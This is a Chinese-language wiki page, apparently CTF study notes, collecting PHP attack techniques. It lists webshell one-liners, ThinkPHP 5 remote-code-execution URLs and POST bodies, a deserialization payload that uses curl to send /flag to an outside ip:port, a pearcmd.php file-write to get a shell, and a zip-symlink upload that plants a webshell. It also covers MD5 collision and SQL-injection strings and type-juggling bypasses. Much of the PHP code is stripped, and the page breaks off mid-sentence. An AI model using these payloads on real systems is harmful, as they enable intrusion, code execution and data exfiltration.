Skip to content

PHP利用

sufuga edited this page Dec 3, 2021 · 1 revision

PHP利用

读文件木马 php?file=/flag

免杀一句话 php?_=phpinfo

1、php读取文件的函数尝试读取源码,试了一个readfile就成功了

如果system被加入黑名单,尝试 \system

2、public、protected与private在序列化时的区别 protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

username = $username; $this->password = $password; } public function __wakeup(){ $this->username = "guests"; } public function fun(){ echo $this->username;echo "
";echo $this->password; } } $a = serialize(new Name("admin",100)); echo $a; ?>

O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;} private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。 这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。

3、

PHP符号一句话

PHP里不包含数字的webshell https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

//+表示空格,可能需要进行一下url编码 xxx.php?_=show_source&__=/var/www/html/flag.php

'); ?>

data协议通常是用来执行PHP代码,

然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。)

这里就可以构造

?text=data://data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

d2VsY29tZSB0byB0aGUgempjdGY=这时为了绕过一些过滤在这里将传入的值给base64编码了一下 data协议 data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,

这里想到了将php文件打包成zip,改后缀名为jpg,再利用zip伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。

zip:// + zip路径 + %23 + php文件名 (由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23) http://82165fb2-5d53-4a86-a386-04058d68f23c.node4.buuoj.cn:81/?page=zip://./assets/img/upload/901edcb2cb7e73704f556f4c50d8b1ee3e7f428d.jpg%231 这里不加.php后缀是因为在index.php包含的时候默认加上了,还要注意zip协议后面跟的是./因为没有去看绝对路径。 /tmp/uploads/

ThinkPHP5-RCE

thinkphp5最出名的就是rce,我先总结rce,rce有两个大版本的分别

ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同,导致payload分为多种,其中一些payload需要取决于debug选项 比如直接访问路由触发的

5.1.x :

?s=index/thinkRequest/input&filter[]=system&data=pwd ?s=index/thinkviewdriverPhp/display&content= ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content= ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 5.0.x :

?s=index/thinkconfig/get&name=database.username # 获取配置信息 ?s=index/thinkLang/load&file=../../test.jpg # 包含任意文件 ?s=index/thinkConfig/load&file=../../t.php # 包含任意.php文件 ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami 还有一种

http://php.local/thinkphp5.0.5/public/index.php?s=index post _method=__construct&method=get&filter[]=show_source&filter[]=var_dump&server[]=1&get[]=/flag //可用读flag _method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo _method=__construct&filter[]=system&method=GET&get[]=whoami

ThinkPHP <= 5.0.13

POST /?s=index/index s=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

POST / _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=xxx HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=ls+-al _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

PHP的glob协议读文件

使用glob协议读到文件 http://nextphp.2019.rctf.rois.io/?a=if ( $b = opendir("glob:///var/www/html/*php") ) {while ( ($file = readdir($b)) !== false ) {echo "filename:".$file."\n";}closedir($b);}

/?a=show_source(%27preload.php%27); 利用命令执行使用show_source()函数读取文件

PHP反序列化

序列化后字符串含义 a – array b – boolean d – double i – integer o – common object r – reference s – string C – custom object O – class N – null R – pointer reference U – unicode string

1.魔术方法

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 __construct()  - 在每次创建新对象时先调用此方法 __destruct()   - 对象的所有引用都被删除或者当对象被显式销毁时执行 $obj = unserialize($str); 会先调用_construct(),然后调用_destruct(). 这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。 //tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了 echo unserialize触发了__tostring函数

结合 一、 FFI预加载

null, 'func' => 'FFI::cdef', 'arg' => "int php_exec(int type, char *cmd);" ]; public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __construct () { } } $a = new A; echo serialize($a); 利用方法 ?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('curl ip:port -d @ /flag')); 二、

到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

跳过__wakeup() 在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";} 即把2变成3

反序列化绕过 is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

三、绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

四、读取系统配置文件、容器配置文件来猜flag的绝对路径。

首先读取/proc/self/cmdline,得到如下结果。得到取配置文件路径/web/config/httpd.conf,读取后获得网站的绝对路径。

字符串逃逸

string(23)"";s:8:"function";s:41:"" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 但是经过反序列化之后,原来是三个键值,但这里只有两个键值,无法反序列化成功,所以我们需要自己再加上一个键值 故最终 $_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a"}" 故传入参数 _SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA # 备份文件泄漏 VIM备份文件(参考Sp4rkW大神) 默认情况下使用VIM编程,在修改文件后系统会自动生成一个带 ~ 的备份文件,某些情况下可 以对其下载进行查看。例如,index.php普遍意义上的首页,它的备份文件则为index.php~。或者index.php.bak VIM中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它 的临时文件“.submit.swp”。如果文件正常退出,则此文件自动删除。 git文件泄漏 url➕.git 使用python2 GitHack.py url➕.git恢复文件 # PHP表达式注入 ①var_dump() 函数用于输出变量的相关信息;判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构 ②scandir() 列出参数目录中的文件和目录 ③file_get_contents() 把整个文件读入一个字符串中。 ④waf waf不允许num传字母,我们可以加个空格它就无法识别“ num”和“num”,php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。 题目所给接口api为?num=1+1 可以使用? num=来替换?num= 然后使用?num=1;var_dump(scandir(char(47))) //var_dump(scandir(/))绕过 然后使用var_dump(file_get_contents(flag))读取 当字母也被过滤时可以利用

输出为I phpinfo();在php7以上等同于(phpinfo)(); 列出为表 $tables= [ "9" => "(((9).(0)){0})", "8" => "(((8).(0)){0})", "7" => "(((7).(0)){0})", "6" => "(((6).(0)){0})", "5" => "(((5).(0)){0})", "4" => "(((4).(0)){0})", "3" => "(((3).(0)){0})", "2" => "(((2).(0)){0})", "1" => "(((1).(0)){0})", "0" => "(((0).(0)){0})", "~" => "((((0).(0)){0})|(((0/0).(0)){0}))", "}" => "((((4).(0)){0})|(((1/0).(0)){0}))", "|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))", "{" => "((((2).(0)){0})|(((1/0).(0)){0}))", "z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))", "y" => "((((0).(0)){0})|(((1/0).(0)){0}))", "x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))", "w" => "((((1).(0)){0})|(((1/0).(0)){2}))", "v" => "((((0).(0)){0})|(((1/0).(0)){2}))", "u" => "((((4).(0)){0})|(((0/0).(0)){1}))", "t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))", "s" => "((((2).(0)){0})|(((0/0).(0)){1}))", "r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))", "q" => "((((0).(0)){0})|(((0/0).(0)){1}))", "p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))", "o" => "((((0/0).(0)){0})|(((-1).(1)){0}))", "n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))", "m" => "((((0/0).(0)){1})|(((-1).(1)){0}))", "l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))", "k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))", "j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))", "i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))", "h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))", "g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))", "f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))", "e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))", "d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))", "c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))", "b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))", "a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))", "`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))", "O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))", "N" => "(((0/0).(0)){0})", "M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))", "L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))", "K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))", "J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))", "I" => "(((1/0).(0)){0})", "H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))", "G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))", "F" => "(((1/0).(0)){2})", "E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))", "D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))", "C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))", "B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))", "A" => "(((0/0).(0)){1})", "@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))", "?" => "((((2).(0)){0})|(((-1).(1)){0}))", ">" => "((((6).(0)){0})|(((8).(0)){0}))", "=" => "((((0).(0)){0})|(((-1).(1)){0}))", "<" => "((((4).(0)){0})|(((8).(0)){0}))", ";" => "((((2).(0)){0})|(((9).(0)){0}))", ":" => "((((2).(0)){0})|(((8).(0)){0}))", "/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))", "." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))", "-" => "(((-1).(1)){0})", "," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))", "+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))", "*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))", ")" => "((((9).(0)){0})&(((-1).(1)){0}))", "(" => "((((8).(0)){0})&(((-1).(1)){0}))", "'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))", "&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))", "%" => "((((5).(0)){0})&(((-1).(1)){0}))", "$" => "((((4).(0)){0})&(((-1).(1)){0}))", "#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))", '"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))", "!" => "((((1).(0)){0})&(((-1).(1)){0}))" ];

PHP函数漏洞

1.MD5 compare漏洞 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 常见的payload有

0x01 md5(str) QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a sha1(str) sha1('aaroZmOk')
sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT") 2

同时MD5不能处理数组,若有以下判断则可用数组绕过

if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } //http://127.0.0.1/1.php?a[]=1&b[]=2

2.ereg函数漏洞:00截断 ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE 1 字符串对比解析 在这里如果 $_GET[‘password’]为数组,则返回值为NULL 如果为123 || asd || 12as || 123%00&&&**,则返回值为true 其余为false

3.变量本身的key 说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php

//key.php?aaaa'aaa=1&bb'b=2 

//print_R($_GET); 

 foreach ($_GET AS $key => $value)

{

        print $key."\n";

}

?>

4.变量覆盖 extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖

$value) { echo $key; $$key = $value; } print $a; ?>

5.strcmp 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 5.2 中是将两个参数先转换成string类型。 5.3.3以后,当比较数组和字符串的时候,返回是0。 5.5 中如果参数不是string类型,直接return了

6.sha1 和 md5 函数 md5 和 sha1 无法处理数组,返回 NULL

if (@sha1([]) == false) echo 1; if (@md5([]) == false) echo 2; echo var_dump(@sha1([]));

7.is_numeric PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。

8.preg_match 如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

9.parse_str 与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

//var.php?var=new
$var='init';
parse_str($_SERVER['QUERY_STRING']);
print $var;

10.字符串比较 == 是弱类型的比较,以下比较都为 true ===是强类型的比较,还会比较是否是同一种类型 如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内 该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

11.unset unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } } if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; } ?>

12.intval() int转string: intval() 函数用于获取变量的整数值 如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1 那么当对字符串'1e10'+1可以将字符串类型强行转换成数字类型
intval('1e4'+1) ->>>10001 $var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

string转int:intval()函数。

var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0 说明intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。 利用代码:

1000) echo $a ; ?>

13.switch() 如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:

这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。

14.in_array() $array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true 可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换

15.serialize 和 unserialize漏洞 1.魔术方法

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。

在这里介绍一个序列化漏洞,首先不要相信用户输入的一切 看下面代码

username."
"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } } $a = new test(); $a->file = 'C:\Users\YZ\Desktop\plan.txt'; echo serialize($a); ?>

//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了 下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了 构造类的序列化对象,然后经过反序列化,在echo输出时,就会自动加载__toString()方法

username."
"."password: ".$this->password ; } public function __toString() { return file_get_contents($this->file); } } $a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}'; echo unserialize($a); ?>

16.session 反序列化漏洞 主要原因是 ini_set(‘session.serialize_handler’, ‘php_serialize’); ini_set(‘session.serialize_handler’, ‘php’); 两者处理session的方式不同

利用下面代码可以生成session值

我们来看看生成的session值

spoock|s:3:"111"; //session键值|内容序列化 a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化} 在ini_set('session.serialize_handler', 'php');中把|之前认为是键值后面的视为序列化 那么就可以利用这一漏洞执行一些恶意代码 看下面的例子 1.php

2.php

hi = 'phpinfo();'; } function __destruct() { eval($this->hi);//这里很危险,可以执行用户输入的参数 } } ?>

在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 则被序列化为 a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 在2.PHP里面打开 就可以执行phpinfo()了

POST发送数据

、 php post发送数据时,如果数据包里没有 Content-Type: application/x-www-form-urlencoded 需要添加上,不然接受不到post传来的参数

PHP常见函数解析

eval() eval函数括号中字符串末尾一定要有分号 eval()函数把括号里面内容按照php代码处理。 ex: eval(system('ls');) 1、bool is_numeric ( mixed $var ) 参数说明:

$var:要检测的变量。 返回值 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

2、file_get_contents() 函数把整个文件读入一个字符串中。

和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

3、isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

4、preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

5、include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。 6、foreach($_GET as $x => $y){ $$x = $$y; } foreach函数获取get参数 yds=flag ---> $ $x=$ $y ---> $yds=$flag

$a = array('Tom','Mary','Peter','Jack'); foreach ($a as $key => $value) { echo $key.','.$value."
"; } 最后得到的结果是:

0,Tom 1,Mary 2,Peter 3,Jack

7、strpos PHP 的 strpos()函数作用是查找并返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

8、函数intval() 函数用于获取变量的整数值

9、查找 "world" 在 "Hello world!" 中是否存在,如果是,返回该字符串及后面剩余部分:

10、PHP str_ireplace() 函数 把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai":

解压缩目录穿越

先创建一个指向/var/www/html的软链接:

root@VM-0-6-ubuntu:~# ln -s /var/www/html feng 然后再把它压缩,使用-y,这样在压缩的时候可以保存软链接:

root@VM-0-6-ubuntu:~# zip -y feng1.zip feng 在feng目录下面写个马,然后再把这个feng目录不带-y的压缩:

root@VM-0-6-ubuntu:# ls -al feng lrwxrwxrwx 1 root root 13 Nov 13 18:33 feng -> /var/www/html root@VM-0-6-ubuntu:# zip -r feng2.zip feng adding: feng/ (stored 0%) adding: feng/.feng.php (stored 0%) feng2.zip是这样,feng是个正常的目录,目录下面有个马 然后先上传feng1.zip,再上传feng2.zip,这时候首先应该那边有了/tmp/uploads/feng,这是个指向/var/www/html的软连接。然后再上传feng2.zip进行解压的时候,实际上应该是把.feng.php解压到/tmp/uploads/feng这个目录下,但这已经是一个软链接了,因此实际上应该这个马被移动到了web目录了。

pearcmd.php的利用

利用pearcmd.php这个pecl/pear中的文件。

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

config-create,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php 发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含=phpinfo()?>: 然后,我们再利用文件包含漏洞包含这个文件即可getshell:

MD5函数

       md5(string,raw)

参数 描述 string 必需。要计算的字符串。 raw 可选。

默认不写为FALSE。32位16进制的字符串 TRUE。16位原始二进制格式的字符串

base64 考虑两次解密,然后考虑字符串16进制转换 1.md5弱碰撞

if($a != $b && md5($a) == md5($b)) 在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过 弱比较时,如果字符串和字符串比较,看字符串前面数字,相等则相等,var_dump("0e123456"=="0e4456789"); //true 如果字符串和数字比较,var_dump("1admin"==1); //true

0e215962017 0e291242476940776845150308577824

QNKCDZO 0e830400451993494058024219903391

s878926199a 0e545993274517709034328855841020

s155964671a 0e342768416822451524974117254469

2.md5强比较 if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))

由于md5不能加密数组,在加密数组的时候会返回NULL param1[]=1&param2[]=2

if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){ die("success!"); }

到强碰撞这里,它用string强行转换成字符串,输入数组输出为 string(5) "Array" string(5) "Array"二者相等 从而限制了数组绕过这方法,只能输入字符串 先上payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这一大长串的编码,他们的md5值是相等的,原理是将hex字符串转化为ascii字符串,并写入到bin文件 考虑到要将一些不可见字符传到服务器,这里使用url编码 因为payload种含有空白符号 所以hash(md5)值相等,但是url值不相等 刚好post和get参入参数可以进行一次url解码,所以传入的参数,md5相等,但是解码后的值不相等url

3.sql注入 对于 $sql = "select * from 'admin' where password='".md5($pass,true)"'"

使用 content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c string: 'or'6]!r,b

然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

PHPshellRCE

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号!!并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

定义 :string escapeshellarg ( string $arg ) var_dump(escapeshellarg("123")) =>'123' var_dump(escapeshellarg("12' 3")) =>'12''' 3' 在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。 "date" 会输出日期、'"date"' 会输出 "date" 即使参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞。

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF

*' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

定义 :string escapeshellcmd ( string $command) escapeshellcmd("whoami") =>`whoami` 对于 "who'ami" arg处理后输出为'who'''ami' cmd处理后输出为who'ami 对于"who''ami" arg处理后输出为'who''''''ami' cmd处理后输出为who''ami

对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义:

escapeshellcmd() 和 escapeshellarg() 一起出现会有什么问题呢,我们举个简单例子如下: "127.0.0.1' -v -d a=1" 先后经过escapeshellarg和escapeshellcmd后· 细分析一下这个过程:

1、传入的参数是

